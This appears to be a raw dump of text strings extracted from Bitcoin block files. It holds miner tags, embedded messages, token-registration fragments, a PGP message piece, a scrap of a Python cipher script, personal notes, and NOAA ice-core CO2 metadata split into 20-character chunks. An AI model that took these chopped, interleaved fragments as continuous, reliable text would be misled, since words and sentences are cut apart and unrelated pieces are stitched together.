$j"Best Regards, Thank you kindly! :)
Mined by AntPool sy1
Mined by ayanfeng123
u=https://cpr.sm/Pds4GiV4d1
$/mining.bitcoinaffiliatenetwork.com/
u=https://cpr.sm/Pds4GiV4d1
Mined by AntPool nmg0
Mined by AntPool bj0
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by AntPool bj0
*!blockname.testd044a3f7
u=https://cpr.sm/Pds4GiV4d1
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
u=https://cpr.sm/Pds4GiV4d1h)
u=https://cpr.sm/Pds4GiV4d1
/TangPool/avalon4_tl/
Welcome to the real world.
Mined by AntPool usa1!h
Mined by AntPool bj0
$jL!CALEB_IS_COOL_AND_GOOD_AT_HANDOFFe=
Mined by lixiaokt1worker
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
/TangPool/avalon4_tl/
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
'j%{"desc": "", "name": "Kanshu Coins",
", "total": 10000000}
'j%{"desc": "", "name": "questlink Coins
'j%{"desc": "", "name": "Funder Coins",
Coins", "total": 10000000}
Forking Recipes Coins
'j%{"desc": "", "name": "Forking Recipes
oins", "total": 10000000}
'j%{"desc": "", "name": "EveryoneRadio C
aro Band", "total": 100000}
'j%{"desc": "toms tickets", "name": "Got
aiiCoin", "total": 1000}
'j%{"desc": "hawaii coins", "name": "haw
ins", "total": 10000000}
'j%{"desc": "", "name": "nexus camera Co
", "total": 10000000}
'j%{"desc": "", "name": "gridspree Coins
"Sokkcoin", "total": 10000000}
'j%{"desc": "Super cool coins", "name":
ns", "total": 10000000}
'j%{"desc": "", "name": "Wait Killer Coi
fCoins", "total": 1000}
'j%{"desc": "surfer coins", "name": "Sur
, "total": 10000000}
'j%{"desc": "", "name": "Flipside Coins"
'j%{"desc": "Angel Helping Hand Minutes"
'j%, "name": "HHMinutes", "total": 21840
'j%{"desc": "sarbaCoins - alternative ec
'j%onomy", "name": "sarbaCoin", "total":
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Time is always against us.
Mined by AntPool bj2
/TangPool/tangpoolgonbo/HAOBTC/
Mined by a3164808125
Mined by AntPool nmg0
'NOTHING BIG CAME OUT OF SOMETHING SMALL
)j'BLK: BSSnuhngc4LyWsdHpgSHjD9nwYvwV8WQC4
Mined by AntPool sy1
O'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by liangzhihong
$/mining.bitcoinaffiliatenetwork.com/
Le ascelle di Marina profumano
$/mining.bitcoinaffiliatenetwork.com/
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
@Mined by zhangshuhua
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj15
Mined by AntPool bj0
D#The truth is that there is no spoon
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
"j 1 bitcoin just went over 221 usd
i'NOTHING BIG CAME OUT OF SOMETHING SMALL
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What is the Banking? Control.
Mined by huangyuhang
Mined by AntPool bj5
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http://bytestamp.net
Mined by wanglongqian
ASCRIBESPOOLREGISTER
/c/DTC/704046/2ee912
57b0f9eb0fe368a9e9ee
1 bitcoin just went over 223
5e47ec12ae78d4191f82
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
u=https://cpr.sm/Pds4GiV4d1
Mined by lowcostporto
$/mining.bitcoinaffiliatenetwork.com/
What is the Banking? Control.
Mined by wangxingsmile
ASCRIBESPOOLREGISTER
http://bytestamp.net
/c/DTC/704046/2ee912
57b0f9eb0fe368a9e9ee
5e47ec12ae78d4191f82
/TangPool/avalon4_tl/
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by AntPool sy1%3(
...BUT SWEAT MEMORIES REMAIN
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Time is always against us.
*'NOTHING BIG CAME OUT OF SOMETHING SMALL
"j 1 bitcoin just went over 222 usd
u=https://cpr.sm/Pds4GiV4d1
$/mining.bitcoinaffiliatenetwork.com/
Murphy&Natalie Married 7/5/14
#The truth is that there is no spoon
a-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
This is a test again
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
-----BEGIN PGP MESSA
b/qARAAhBLiRyhdI8ZrZ
GsSG/j3EYJ+bUtruCYct
eV3tsJJrl7Ig4qpMMpXK
WLcp3WHwv1kWc4MtuGWg
2eIT5yVTW0qSTWh636rV
wU6dA2dOmkKGD7sBCAMh
nIZjtHH8JeP6mqn3uom2
rW2CSZX0LyhCGCNCiJGy
beJxYKS3jvWQEPUpsYCE
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S8MEDxwkIiqPshibPqmI
pBNyZ41pzOcji/Eb3vcY
NrvhgZsMhFyPYlPmCkT+
Wi1ooeOwmtE77b2z7Lyk
Fi9xyKmQ6AQfBa6sqoHH
/eriBWF1hEv6uxTWvWQ9
QwRI8liiuMFJzb4+7/Se
Svc5ABeavbQlnGaNtk5t
iFg1wqlBQK5aJJCcRwdc
pJWfUY5OhpU71Kk+08F2
q+eoaX/VclYwapL6IEyY
RDIy7rqPsSyqdroJxDgH
lzZ4qK6ghkEuz6lJBkPQ
ytK27702Avh6jNJenUFb
sEz3Hm9nECbp3kEah2mI
ilqNH993ZQo6bscq4UmL
MXr34UprBnqUyAhGRtj0
$/mining.bitcoinaffiliatenetwork.com/
%j#": "Codes - Snippet Manager Coins"}
'j%{"total": 10000000, "desc": "", "name
Codes - Snippet Manager Coins
u=https://cpr.sm/Pds4GiV4d1
http://cryptonotify.
Mined by AntPool bj15
rser.add_argument("-
m", dest="m", choice
s=["d", "e"], defaul
bet = string.letters
+ string.digits #
getpass(prompt="pw:
ass(prompt="onetimep
or p, o in zip(pw, i
tertools.cycle(ot)):
if k > len(alphabe
k %= len(alph
u=https://cpr.sm/Pds4GiV4d1h)
Mined by AntPool nmg0
u=https://cpr.sm/Pds4GiV4d1
Mined by sunruiqiang
Mined by AntPool nmg0
unsuccessful double-spend attempt
unsuccessful double-spend attempt
Mined by AntPool bj0
$/mining.bitcoinaffiliatenetwork.com/
File: blk00230.txt
Operation "rakushka" :)
ASCRIBESPOOLREGISTER
Mined by AntPool bj2
ASCRIBESPOOLREGISTER
Mined by AntPool bj6
Mined by AntPool bj0
Mined by AntPool bj5!
ASCRIBESPOOLREGISTER
$/mining.bitcoinaffiliatenetwork.com/
http://www.bitcoinza
#The truth is that there is no spoon
3#The truth is that there is no spoon
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i&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by a13783289399
/TangPool/tangpoolgonbo/HAOBTC/
ASCRIBESPOOLREPLENISH
u=https://cpr.sm/TN5vwdcDjW8
What is the Banking? Control.
/TangPool/avalon4_tl/
LET ME SEE YOU GET LOW
ASCRIBESPOOLREGISTER
$/mining.bitcoinaffiliatenetwork.com/
Mined by AntPool usa1!h
Mined by AntPool bj6
Mined by AntPool bj2
Mined by cjs18665506868
Mined by zhongyunlong01
Mined by xiaojianying
Mined by pengsheng02
Mined by AntPool usa1!h
Operation "rakushka" :)
u=https://cpr.sm/riQ1PdB8868]
Mined by AntPool bj6
...BUT SWEAT MEMORIES REMAIN
GPTchat http://www.4my.eu
$/mining.bitcoinaffiliatenetwork.com/
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&HE WHO IS GIVEN EVERYTHING HAS NOTHING
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Mined by a3164808125
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Mined by AntPool bj0
Operation "rakushka" :)
Mined by AntPool bj0
Mined by qq2214379760
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Mined by AntPool usa
Mined by AntPool bj2
Mined by AntPool sy1%3(
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool bj0
Mined by qingqing0001
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Time is always against us.
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
/TangPool/avalon4_tl/
ASCRIBESPOOLREGISTER
coming to CryptoGraf
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ASCRIBESPOOLREGISTER
u=https://cpr.sm/VCOTIz0Za98]
Mined by AntPool sy1%3(
u=https://cpr.sm/xPdv7d4kIO8]
Mined by ozn851159915
/TangPool/tangpoolgonbo/HAOBTC/
GB2APDK Ninjas team 4ever.
Mined by AntPool bj2
Mined by AntPool bj5
ASCRIBESPOOLREGISTER
/TangPool/tangpoolgonbo/HAOBTC/
Mined by AntPool bj0
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Time is always against us.
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Mined by hnucpcoolcs02
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Mined by AntPool bj15
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File: blk00231.txt
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Mined by AntPool bj6
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/TangPool/tangpoolgonbo/HAOBTC/
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Mined by AntPool bj15
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Mined by AntPool bj2
Mined by AntPool bj0
/TangPool/avalon4_tl/
Mined by AntPool nmg0;;
Mined by AntPool bj0
Mined by zhanlongclam
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Mined by AntPool bj2
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Mined by AntPool bj0
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Mined by AntPool bj0
Mined by ayanfeng123
Mined by hb18905619999
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Mined by AntPool bj2
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Mined by AntPool bj0
Mined by dd18905616666
Mined by AntPool bj15
Mined by AntPool bj15
Time is always against us.
Time is always against us.
Operation "rakushka" :)
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Mined by cjs18665506868
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File: blk00232.txt
Mined by AntPool bj5
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Mined by AntPool bj2
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Mined by AntPool bj15
Mined by realsun8888
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/TangPool/tangpoolgonbo/HAOBTC/
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Mined by qq2214379760
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Mined by AntPool bj0
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Mined by qq553967525
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ASCRIBESPOOLREGISTER
Mined by AntPool bj15
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Mined by AntPool bj2
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Follow the white rabbit.
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Mined by dabao196969
Mined by AntPool bj2
Mined by AntPool nmg0;;
Mined by AntPool bj15
"Mined by zhao19721003
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/TangPool/tangpoolgonbo/HAOBTC/
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&#The truth is that there is no spoon
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u=https://cpr.sm/CnSRzekhEm
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Mined by supercloud2014
Mined by AntPool bj2
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Mined by AntPool bj15
Mined by AntPool bj2
/TangPool/avalon4_tl/
ASCRIBESPOOLREGISTER
Mined by zjx329154546
Mined by AntPool bj0
ASCRIBESPOOLREPLENISH
/TangPool/tangpoolgonbo/HAOBTC/
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
u=https://cpr.sm/v6--v2iHmO
Operation "rakushka" :)
Mined by AntPool bj2
ASCRIBESPOOLREGISTER
Mined by AntPool bj7 N MT
Mined by AntPool bj6
$/mining.bitcoinaffiliatenetwork.com/
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj5
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/TangPool/avalon4_tl/
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Mined by AntPool bj0
Mined by AntPool bj2
Mined by long812483598
Operation "rakushka" :)
Mined by AntPool bj15
Mined by zhangguoyou
Mined by AntPool sy1%3(
Time is always against us.
Mined by AntPool bj15
Mined by qq772641164
Mined by AntPool bj2
Mined by AntPool bj6
GB2APDK Ninjas team 4ever.
Mined by AntPool bj2
File: blk00233.txt
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
N&HE WHO IS GIVEN EVERYTHING HAS NOTHING
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj15
u=https://cpr.sm/_K_7g31bPZ
ASCRIBESPOOLREGISTER
...BUT SWEAT MEMORIES REMAIN
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ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREGISTER
What is the Banking? Control.
Mined by AntPool bj15
ASCRIBESPOOLREGISTER
Mined by wanyouyinli1
ASCRIBESPOOLREGISTER
Mined by sunnyhctao03
u=https://cpr.sm/_K_7g31bPZlo
Time is always against us.
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj15
u=https://cpr.sm/_K_7g31bPZ
u=https://cpr.sm/_K_7g31bPZ
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u=https://cpr.sm/NJt8cb7utS
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Mined by jorneyflair
Operation "rakushka" :)
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/TangPool/tangpoolgonbo/HAOBTC/
Follow the white rabbit.
Time is always against us.
u=https://cpr.sm/_K_7g31bPZ
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Mined by AntPool bj5
u=https://cpr.sm/-Rg8zgnsn1
ASCRIBESPOOLREGISTER
Mined by AntPool bj6
Mined by dinglong123
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ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj2
Follow the white rabbit.
Mined by AntPool bj15
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by duanchiqingting
Mined by AntPool bj2
Mined by AntPool bj6
Mined by AntPool usa1!h
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Mined by AntPool bj2
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What is the Banking? Control.
Mined by AntPool bj2
Mined by sxwo47995152
u=https://cpr.sm/2iiKuwadmR8]
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Time is always against us.
Mined by AntPool bj15
/TangPool/tangpoolgonbo/HAOBTC/
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Mined by AntPool sy1%3(
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Mined by AntPool bj2
Hello from Zapchain!
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Mined by AntPool bj15
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ASCRIBESPOOLTRANSFER
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Mined by lishuguang
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u=https://cpr.sm/urD_xE_BJV
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u=https://cpr.sm/guYXlcz_8W8]
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ASCRIBESPOOLREGISTER
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File: blk00234.txt
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Welcome to the real world.
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u=https://cpr.sm/DyB1ia1Q8o8]
u=https://cpr.sm/2NV5A83eHY8]
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/TangPool/tangpoolgonbo/HAOBTC/
u=https://cpr.sm/6t7TVCnfK18]
Mined by AntPool bj6
Mined by AntPool bj5
What is the Banking? Control.
Welcome to the real world.
u=https://cpr.sm/6t7TVCnfK18]
Mined by AntPool bj5
Mined by hocuscapocus
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Mined by AntPool bj7 N MT
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/TangPool/avalon4_tl/
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u=https://cpr.sm/_K_7g31bPZ8]
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Welcome to the real world.
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Welcome to the real world.
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/TangPool/avalon4_tl/
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Welcome to the real world.
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/TangPool/tangpoolgonbo/HAOBTC/
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#The truth is that there is no spoon
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Follow the white rabbit.
Mined by AntPool usa1!h
Mined by AntPool sc2
Welcome to the real world.
Mined by AntPool sc2
What is the Banking? Control.
/TangPool/tangpoolgonbo/HAOBTC/
Operation "rakushka" :)
/TangPool/avalon4_tl/
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Welcome to the real world.
What is the Banking? Control.
Mined by AntPool sc2
/TangPool/tangpoolgonbo/HAOBTC/
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/TangPool/tangpoolgonbo/HAOBTC/
Mined by AntPool bj2
Follow the white rabbit.
What is the Banking? Control.
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Operation "rakushka" :)
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u=https://crypto9er.co/asset
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I love Keri Ann more
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$/mining.bitcoinaffiliatenetwork.com/
'NOTHING BIG CAME OUT OF SOMETHING SMALL
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Mined by AntPool bj15
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/TangPool/tangpoolgonbo/HAOBTC/
File: blk00235.txt
*j(7djzgfGh7wRRRRR021949XXXXX193XXX0.00021Q
Mined by AntPool nmg0;;
*j(7djzgfGh7wRRRRR021949XXXXX193XXX0.00021Q
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Mined by AntPool bj15
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u know you are in th
e context of a poor
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When a guy named Jos
h gives you promises
with Butterfly Labs.
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a name can ruin a ma
above post was inst
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ashtalk.org and my a
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s their agenda. I re
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in the forums of Bu
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g topic here: http:/
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On day this five yea
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Mined by AntPool bj15
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by AntPool bj2
Mined by n13824331683
This is the time whe
re V should be in da
House but is not. I
m sorry Mama, i nev
er meant to hurt you
Mined by AntPool nmg0+v%
#The truth is that there is no spoon
Mined by AntPool sc1
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ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
u=https://cpr.sm/_K_7g31bPZ(
u=https://cpr.sm/gwIl7eQ7wS
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ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj15
u=https://cpr.sm/LhZzPiVxs98]
ASCRIBESPOOLREGISTER
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...BUT SWEAT MEMORIES REMAIN
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$/mining.bitcoinaffiliatenetwork.com/
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ASCRIBESPOOLREGISTER
u=https://cpr.sm/lEWulyQ5BV8]
Mined by huangling1121
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Mined by AntPool bj001-
ASCRIBESPOOLREGISTER
Mined by AntPool sc1
ASCRIBESPOOLREGISTER
Mined by AntPool bj2
Mined by AntPool nmg1
$j"1GCc6dysfNoN2CkCSCueBp9zykCDR1Y8eL
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ASCRIBESPOOLREGISTER
Mined by AntPool usa1!h
Mined by AntPool bj15
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
1GCc6dysfNoNCueBp9zykCDR1Y8eL
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
1GCc6dysfNoNCueBp9zykCDR1Y8eL
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Time is always against us.
Mined by AntPool sc1
Time is always against us.
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ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
@&HE WHO IS GIVEN EVERYTHING HAS NOTHING
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&HE WHO IS GIVEN EVERYTHING HAS NOTHING
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ASCRIBESPOOLREGISTER
Mined by AntPool sy1%3(
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ASCRIBESPOOLREGISTER
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Mined by AntPool bj001-
x#The truth is that there is no spoon
Mined by haohelloworld1
"j Maybe try testing on... testnet?p
Mined by AntPool bj15
Thank you, Hyena, fo
r nice service: http
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Mined by hocuscapocus
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#The truth is that there is no spoon
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Operation "rakushka" :)
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File: blk00240.txt
Mined by AntPool bj001-
Mined by AntPool sc1
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ASCRIBESPOOLREGISTER
Mined by lichangsheng
ASCRIBESPOOLREPLENISH
...BUT SWEAT MEMORIES REMAIN
Mined by AntPool sc1
Mined by AntPool sc(\
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Mined by AntPool sc1
ASCRIBESPOOLREGISTER
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The Hashling
/\|--|/\
/\|OO|/\
/\|--|/\
@BraveTheWorld
@petertoddbtc
Mined by AntPool bj2
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Mined by AntPool sc1
********************
Leonard E. Schulwitz
Born March 6, 1953
Turns 62 today.
Happy Birthday Dad!
Love, Len Jr.
**************
____________________
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-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by AntPool sc(\
Mined by AntPool bj6
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Mined by AntPool bj001-
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Mined by AntPool bj001-
u=https://cpr.sm/2HkZRdeMXS
Mined by AntPool sc(\
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%#The truth is that there is no spoon
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V#The truth is that there is no spoon
Time is always against us.
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...BUT SWEAT MEMORIES REMAIN
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&HE WHO IS GIVEN EVERYTHING HAS NOTHING
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Mined by AntPool sc1
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&HE WHO IS GIVEN EVERYTHING HAS NOTHING
u=https://cpr.sm/_K_7g31bPZ(
Mined by AntPool sc1
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Anna, JP, & Troy
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So here we are againX>
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Mined by gf406224454
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*j(1234567890123456789012345678901234567890
*j(1234567890123456789012345678901234567890
Mined by AntPool bj001-
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u=https://cpr.sm/qyfUxLuDro
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ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREGISTER
Mined by AntPool sc(\
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&HE WHO IS GIVEN EVERYTHING HAS NOTHING
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'NOTHING BIG CAME OUT OF SOMETHING SMALL
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P&HE WHO IS GIVEN EVERYTHING HAS NOTHING
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Mined by AntPool bj15
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Mined by jorneyflair
j&HE WHO IS GIVEN EVERYTHING HAS NOTHING
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Follow the white rabbit.
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ASCRIBESPOOLREGISTER
Mined by AntPool bj2
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ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj001-
Mined by AntPool bj5
ASCRIBESPOOLREGISTER
Mined by AntPool bj2
Mined by AntPool sc1
Mined by AntPool sc(\
u=https://cpr.sm/4CRsVHqQlP
Mined by AntPool sy1%3(
u=https://cpr.sm/2HkZRdeMXS
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
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ASCRIBESPOOLREPLENISH
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ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
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/TangPool/avalon4_tl/
ASCRIBESPOOLTRANSFER
Operation "rakushka" :)
Mined by AntPool bj15
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ASCRIBESPOOLREPLENISH
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Mined by yu133511711
Mined by wangxingsmile
ASCRIBESPOOLTRANSFER
Mined by AntPool sy1%3(
u=https://cpr.sm/FqzZwe9Q7e8]
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ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
Mined by AntPool sc(\
wfmag protonsoft.pl T
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File: blk00242.txt
subiekt protonsoft.pl T
/TangPool/tangpoolgonbo/HAOBTC
a'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by sxwo47995152
[-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by haosen3310363
Mined by AntPool bj6
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
Mined by AntPool sc(\
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
Mined by AntPool bj001-
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Mined by AntPool nmg0+v%
Time is always against us.
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&HE WHO IS GIVEN EVERYTHING HAS NOTHING
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*j(7A83339051366894D3C579CC163CA246FB284FC1
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ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
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Mined by ldld9697996
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axapta protonsoft.pl T
Mined by AntPool sc(\
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Mined by AntPool nmg0+v%
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Follow the white rabbit.
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Mined by AntPool nmg1
Mined by AntPool sc1
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,-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Hello becca bear, yo
u are now on the blo
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ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by a3164808125
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Mined by zxd345152369
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Mined by haosen3310363
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ASCRIBESPOOLTRANSFER
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ASCRIBESPOOLUNCONSIGN
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$/mining.bitcoinaffiliatenetwork.com/
Time is always against us.
Mined by AntPool sc1
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ASCRIBESPOOLREPLENISH
/TangPool/avalon4_tl/
ASCRIBESPOOLREGISTER
Mined by AntPool sc1
Mined by AntPool bj2
=33Mined by gaoyuebin
ASCRIBESPOOLREGISTER
*j(f04204acac372f6ea1e38785d0befa7a8f3d1d3d
(j&FACTOMf04204acac372f6ea1e38785d0befa7a
...BUT SWEAT MEMORIES REMAIN
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Mined by AntPool sc(\
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
Operation "rakushka" :)
Mined by chenxiaolei11
Mined by AntPool sc1$Q{
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Mined by AntPool sc(\
Operation "rakushka" :)
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Mined by gf406224454
$/mining.bitcoinaffiliatenetwork.com/
Mined by dongyuxiaxue
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$/mining.bitcoinaffiliatenetwork.com/
ASCRIBESPOOLREGISTER
Mined by AntPool nmg1
Mined by AntPool sc1$Q{
E&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by AntPool sc1$Q{
/TangPool/tangpoolgonbo/HAOBTC
Mined by AntPool bj5
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/TangPool/haobtc/HAOBTC.COM
Mined by AntPool sc0
Mined by a3164808125
Mined by AntPool sc0
Mined by AntPool bj15
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
Mined by AntPool sc0
u=https://cpr.sm/_K_7g31bPZ
Mined by AntPool sc1$Q{
Mined by AntPool sc1$Q{
Mined by AntPool bj5
#The truth is that there is no spoon
Mined by AntPool sc0
Mined by AntPool sy1%3(
...BUT SWEAT MEMORIES REMAIN
u=https://cpr.sm/LKp-TcBTl0
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...BUT SWEAT MEMORIES REMAIN
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by AntPool bj7 N MU
u=https://cpr.sm/4831EpXxl1p
File: blk00243.txt
Mined by AntPool bj15
u=https://cpr.sm/vBQ2pr8syV
/TangPool/haobtc/HAOBTC.COM
Operation "rakushka" :)
What is the Banking? Control.
Mined by AntPool sc1$Q{
\#The truth is that there is no spoon
u=https://cpr.sm/9gD3USSZHk
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.:Mined by lichangsheng
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Mined by AntPool sc0
Mined by AntPool bj5
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$/mining.bitcoinaffiliatenetwork.com/
Mined by AntPool usa1!h
I am Ron Burgundy?
Why did the chicken
crossthe playground?
To get to the other
Mined by AntPool sc1$Q{
/TangPool/haobtc/HAOBTC.COM
!SAYLV sayloveonblockchain.com`
Mined by AntPool sc0
u=https://cpr.sm/2GtN32DXuH
Operation "rakushka" :)
Mined by AntPool sc1$Q{
Mined by simplemortall
Welcome to the real world.
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool nmg0+v%
Follow the white rabbit.
/TangPool/haobtc/HAOBTC.COM
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ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREGISTER
Mined by d1258792312
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$/mining.bitcoinaffiliatenetwork.com/
Mined by AntPool sy1%3(
MattPopovich wasHere
Follow the white rabbit.
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u=https://cpr.sm/8fWeec3aTo
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Mined by AntPool sc0
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$/mining.bitcoinaffiliatenetwork.com/
Mined by AntPool nmg1
Mined by AntPool sc0
u=https://cpr.sm/78lm9fU-Qz
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Mined by AntPool sc1$Q{
ASCRIBESPOOLREGISTER
Mined by klminer2014
Follow the white rabbit.
Mined by AntPool bj5
Mined by ly317770163
u=https://cpr.sm/mGg8f7R6bH
/TangPool/avalon4_tl/
Mined by AntPool sc1$Q{
Mined by wanyouyinli1
Mined by AntPool sc1$Q{
Mined by AntPool bj001-
/TangPool/haobtc/HAOBTC.COM
/TangPool/avalon4_tl/
Mined by AntPool bj6
ASCRIBESPOOLREGISTER
/TangPool/avalon4_tl/
&&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Welcome to the real world.
Mined by AntPool sc0
Mined by AntPool sc1$Q{
Mined by AntPool nmg0+v%
Mined by AntPool sc0
Mined by AntPool bj001-
Mined by nanjinghaowei
Mined by AntPool bj001-
/TangPool/tangpoolgonbo/HAOBTC
Mined by AntPool sc1$Q{
Welcome to the real world.
5'NOTHING BIG CAME OUT OF SOMETHING SMALL
/TangPool/haobtc/HAOBTC.COM
Mined by AntPool sc1$Q{
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj15
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
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2>Antarctic Ice Core
s Revised 800KYr CO2
h3>World Data Center
for Paleoclimatolog
y, Boulder and NOAA
Paleoclimatology Pro
Publication, and On
line_Resource and da
te accessed when usi
lication information
, please cite Invest
igators, Title, and
Online_Resource and
_Resource: http://nc
dc.noaa.gov/paleo/st
L: ftp://ftp.ncdc.no
aa.gov/pub/data/pale
o/icecore/antarctica
/antarctica2015co2ed
escription/Documenta
tion lines begin wit
Archive: Ice Cores<
------------------<b
dy_Name: Antarctic I
ce Cores Revised 800
------------------<b
Bereiter, B.; Eggles
ton, S.; Schmitt, J.
; Nehrbass-Ahles, C.
; Stocker, T.F.; Fis
cher, H.; Kipfstuhl,
S.; Chappellaz, J.<
Description: Revised
EPICA Dome C and An
tarctic composite ic
e core atmospheric C
O2 data. This new ve
rsion of CO2 composi
he old version of Lu
thi et al. (2008), w
hich contains the an
alytical bias descri
bed in Bereiter et a
ower quality data in
other sections. For
details about the i
mprovements relative
to the previous ver
sion see supplementa
n of Bereiter et al.
2015. For detailed
references of all re
cords refer to the s
upplemetary informat
er et al. 2015. For
latest anthropogenic
data refer to NOAA/
Mauna Loa record. Ag
e unit is in years b
efore present (yr BP
nt refers to 1950 AD
. Note, not all reco
rds shown in Excel w
orksheet "all r
ecords" are par
t of the composite.
te built from the fo
1800 yr BP: Law Dome
(Rubino et al., 201
P: Law Dome (MacFarl
ing Meure et al., 20
P: Dome C (Monnin et
al., 2001 + 2004)<b
AIS (Marcott et al.,
2014) minus 4 ppmv
40 kyr BP: Siple Dom
e (Ahn et al., 2014)
TALDICE (Bereiter e
0-115 kyr BP: EDML (
Bereiter et al., 201
BP: Dome C Sublimat
ion (Schneider et al
93 kyr BP: Vostok (P
etit et al., 1999)<b
Dome C (Siegenthale
me C (Bereiter et al
If millennial scale
or smaller details
of the composite are
studied, we recomme
nd to look into all
records available <b
and not only in the
rnhard Bereiter, Sar
ah Eggleston, Jochen
Schmitt, Christoph
Nehrbass-Ahles, Thom
as F. Stocker, Huber
tus Fischer, Sepp Ki
pfstuhl and Jerome C
ished_Date_or_Year:
blished_Title: Revis
ion of the EPICA Dom
e C CO2 record from
800 to 600&8201;kyr
Journal_Name: Geoph
ysical Research Lett
Online_Resource: ht
tp://onlinelibrary.w
iley.com/doi/10.1002
/2014GL061957/abstra
The European Projec
t for Ice Coring in
Antarctica Dome ice
core from Dome C (ED
C) has allowed for t
he reconstruction of
atmospheric CO2 con
centrations for the
last 800,000&8201;ye
ars. Here we revisit
the oldest part of
the EDC CO2 record u
sing different air e
xtraction methods an
d sections of the co
re. For our establis
hed cracker system,
we found an analytic
al artifact, which i
ncreases over the de
epest 200&8201;m and
reaches 10.1 +/- 2.
4&8201;ppm in the ol
dest/deepest part. T
he governing mechani
sm is not yet fully
understood, but it i
s related to insuffi
cient gas extraction
in combination with
ice relaxation duri
ng storage and ice s
tructure. The correc
ted record presented
here resolves partl
y - but not complete
ly - the issue with
a different correlat
ion between CO2 and
Antarctic temperatur
es found in this old
est part of the reco
rds. In addition, we
provide here an upd
ate of 800,000&8201;
years atmospheric CO
2 history including
recent studies cover
ing the last glacial
hors: Dieter Luthi,
Martine Le Floch, Be
rnhard Bereiter, Tho
mas Blunier, Jean-Ma
